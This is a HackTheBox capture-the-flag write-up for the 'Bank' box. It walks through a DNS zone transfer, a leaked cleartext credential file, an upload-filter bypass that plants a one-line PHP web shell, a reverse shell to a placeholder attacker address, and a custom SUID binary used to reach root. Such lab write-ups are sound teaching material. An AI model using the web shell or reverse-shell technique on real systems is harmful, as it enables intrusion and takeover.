Bank Writeup - HackTheBox
Bank is a Linux box built around a banking portal. The chain runs: an unrestricted DNS zone transfer that hands over the domain and an account name, a directory of transfer records where one file failed to encrypt and landed on disk in cleartext with the portal password, a debug handler that executes uploaded .htb files as PHP, and a custom SUID binary that drops straight to root.
Reconnaissance
Port scan
Open $TARGET_IP:22 Open $TARGET_IP:53 Open $TARGET_IP:80
Explain command
| -a $TARGET_IP | Address to sweep for open ports across the full range. |
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
| -sCV | Run the default script set and probe service versions. |
| -T4 | Faster timing template, safe against a lab target. |
| -p22,53,80 | Limit the scan to the ports rustscan already found open. |
Apache serves nothing but the stock Ubuntu page, so the interesting service is ISC BIND on 53. A DNS server on a Linux host usually means virtual hosts and zone data rather than a domain controller, and the web server is almost certainly waiting on the right hostname.
Enumeration
Finding the domain
A reverse lookup on the address returns nothing, so the domain has to be guessed. The box name is the obvious candidate and the target's own resolver confirms it.
Name: bank.htb Address: $TARGET_IP
bank.htb resolves against the target itself. With a zone name in hand, the next test is whether BIND hands out the entire zone to anyone who asks.
Zone transfer
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 6 604800 86400 2419200 604800 bank.htb. 604800 IN NS ns.bank.htb. bank.htb. 604800 IN A $TARGET_IP ns.bank.htb. 604800 IN A $TARGET_IP www.bank.htb. 604800 IN CNAME bank.htb.
Explain command
| axfr bank.htb | Request a full zone transfer for the bank.htb zone. |
| @$TARGET_IP | Send the query to the target nameserver instead of the local resolver. |
The transfer succeeds, which it should not for an arbitrary client. Beyond confirming the hosts, the SOA record carries the zone contact in DNS notation, chris.bank.htb, which reads as chris@bank.htb. That is a username to keep for later.
Pointing the local resolver at the target keeps bank.htb and any subdomain resolvable for the rest of the box.
nameserver $TARGET_IP
With the vhost reachable, the portal itself can be enumerated.
Content discovery
uploads [Status: 301] assets [Status: 301] inc [Status: 301] balance-transfer [Status: 301]
Explain command
| -u http://bank.htb/FUZZ | Target URL with FUZZ marking the position to iterate. |
| -w /usr/share/wordlists/... | Wordlist of directory names to try. |
| -mc 200,301 | Only show responses that exist or redirect, filtering out the noise. |
/balance-transfer is a directory listing of account records, all named after a hash and all roughly the same size. Sorting the listing by size exposes one outlier that is far smaller than the rest, which is the one worth reading.
Vulnerability Discovery
A transfer record that never got encrypted
--ERR ENCRYPT FAILED +=================+ | HTB Bank Report | +=================+ ===UserAccount=== Full Name: Christos Christopoulos Email: chris@bank.htb Password: $CHRISS_PASSWORD CreditCards: 5 Transactions: 39 Balance: 8842803 . ===UserAccount===
The encryption routine failed on this record and the application wrote the report to disk in cleartext anyway, password included. The account matches the chris@bank.htb identity from the zone transfer, so these credentials belong to a real portal user.
Exploitation
Upload filter bypass
Logging into the portal as chris@bank.htb with the leaked password opens a Support section with a file upload form. The page source carries a developer comment that was never cleaned up.
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
Apache is configured to hand .htb files to the PHP interpreter, and the upload filter never considered that extension. A PHP web shell saved as shell.htb passes the filter and still executes.
<?php system($_GET['cmd']); ?>
www-data
Code execution as www-data. Swapping the command for a named pipe reverse shell turns it interactive.
Interactive shell
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 36538 sh: 0: can't access tty; job control turned off $ whoami www-data
Explain command
| -l | Listen for an incoming connection instead of dialing out. |
| -v | Verbose output so the inbound connection is visible. |
| -n | Skip DNS resolution on the connecting address. |
| -p $ATTACKER_PORT | Local port the reverse shell connects back to. |
Foothold as www-data, with read access to the user home directory.
Privilege Escalation
SUID binaries
/var/htb/bin/emergency /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/bin/chsh /usr/bin/passwd /usr/bin/chfn /usr/bin/pkexec /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/sudo <snip>
Explain command
| -type f | Match regular files only. |
| -user root | Restrict to files owned by root. |
| -perm -4000 | Match the setuid bit, so the binary runs as its owner. |
Everything on that list ships with the distribution except /var/htb/bin/emergency. The path and the name both say it was dropped in deliberately.
Abusing the emergency binary
-rwsr-xr-x 1 root root 112204 Jun 14 2017 /var/htb/bin/emergency /var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386
Root owned, setuid, and world executable, so www-data can run it. There is no password prompt and no check on who invoked it.
# whoami root # id uid=0(root) gid=33(www-data) groups=0(root),33(www-data)
Root shell straight out of the binary. Both the user and the root context are done at this point.
Related
References
-
BIND 9 ARM: zone transfersDOCS: BIND 9 ARM: zone transfers, bind9.readthedocs.io/en/latest/reference.html#zone-transfers (opens in new tab)
How allow-transfer restricts AXFR, the setting missing on this box.
-
Reference for turning SUID binaries into a root shell.